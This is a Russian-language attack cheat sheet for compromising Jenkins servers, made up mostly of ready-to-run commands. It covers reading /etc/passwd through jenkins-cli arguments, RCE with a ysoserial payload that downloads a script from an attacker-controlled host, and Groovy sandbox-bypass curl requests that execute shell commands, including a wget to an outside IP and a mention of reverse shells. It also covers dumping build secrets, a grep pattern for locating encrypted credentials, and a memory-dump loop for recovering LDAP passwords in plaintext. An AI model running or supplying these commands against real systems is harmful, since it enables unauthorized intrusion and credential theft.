
Заметки об атаке на серверы Jenkins
Аутентифицированный пользователь может получить полный файл:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"
Без аутентификации или при отсутствии разрешений Global/Read можно прочитать только 3 строки: Чтение первой строки:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"
Чтение второй строки:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"
Чтение третьей строки:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"
Как перебрать ключ шифрования учётных данных.
Используйте ysoserial для генерации пейлоада. Затем выполните RCE с помощью этого скрипта:
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out
Подробности здесь.
Если Jenkins запрашивает аутентификацию, но возвращает валидные данные при следующем запросе, значит, он уязвим:
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
Оригинальная RCE-уязвимость здесь, полный эксплойт здесь.
Альтернативная RCE с разрешениями Overall/Read и Job/Configure здесь.
Проверьте, уязвим ли экземпляр Jenkins (требуются разрешения Overall/Read), с помощью следующего Groovy-кода:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
Примечание: Если вы получили ошибку 403 об отсутствующем crumb (это защита от CSRF в Jenkins), вы можете получить значение crumb с помощью GET-запроса к https://example.com/crumbIssuer/api/json. Затем это значение crumb должно быть добавлено в POST-запрос в заголовке Jenkins-Crumb.
Выполните произвольные bash-команды:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
Если вы не сразу получили reverse shell, вы можете выполнить отладку, вызвав исключение:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
Эта уязвимость сработает только в том случае, если пользователь имеет права 'Jobs/Configure' в матрице безопасности, так что она очень специфична.
Обратите внимание, что эта уязвимость эксплуатируется только при использовании выделенного и устаревшего Update Center. Поэтому большинство серверов не уязвимы.
Используйте этот скрипт для дампа выводов консоли сборок и переменных окружения сборок, чтобы найти секреты в открытом виде.
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
[-l] [-r] [-d] [-s] [-v]
url [url ...]
Dump all available info from Jenkins
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
-l, --last Dump only the last build of each job
-r, --recover_from_failure
Recover from server failure, skip all existing
directories
-d, --downgrade_ssl Downgrade SSL to use RSA (for legacy)
-s, --no_use_session Don't reuse the HTTP session, but create a new one for
each request (for legacy)
-v, --verbose Debug mode
Используйте этот python-скрипт или этот powershell-скрипт.
Эти файлы необходимы для расшифровки секретов Jenkins:
Такие секреты обычно можно найти в:
Вот регулярное выражение (regexp) для их поиска:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
Если Jenkins настроен на проверку учётных данных пользователей путём их передачи в LDAP (что глупо, но является распространённой уязвимостью в компаниях), можно восстановить эти учётные данные в открытом виде, выполнив дамп памяти Java-процесса. Предполагая, что PID Jenkins-сервера равен 7, следующий цикл будет выполнять дамп памяти стека каждые 30 секунд:
head -n 1 /proc/7/maps
a=<first hex number>
b=<second hex number>
while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done
Небольшая задержка важна, потому что сборщик мусора будет регулярно освобождать структуры учётных данных.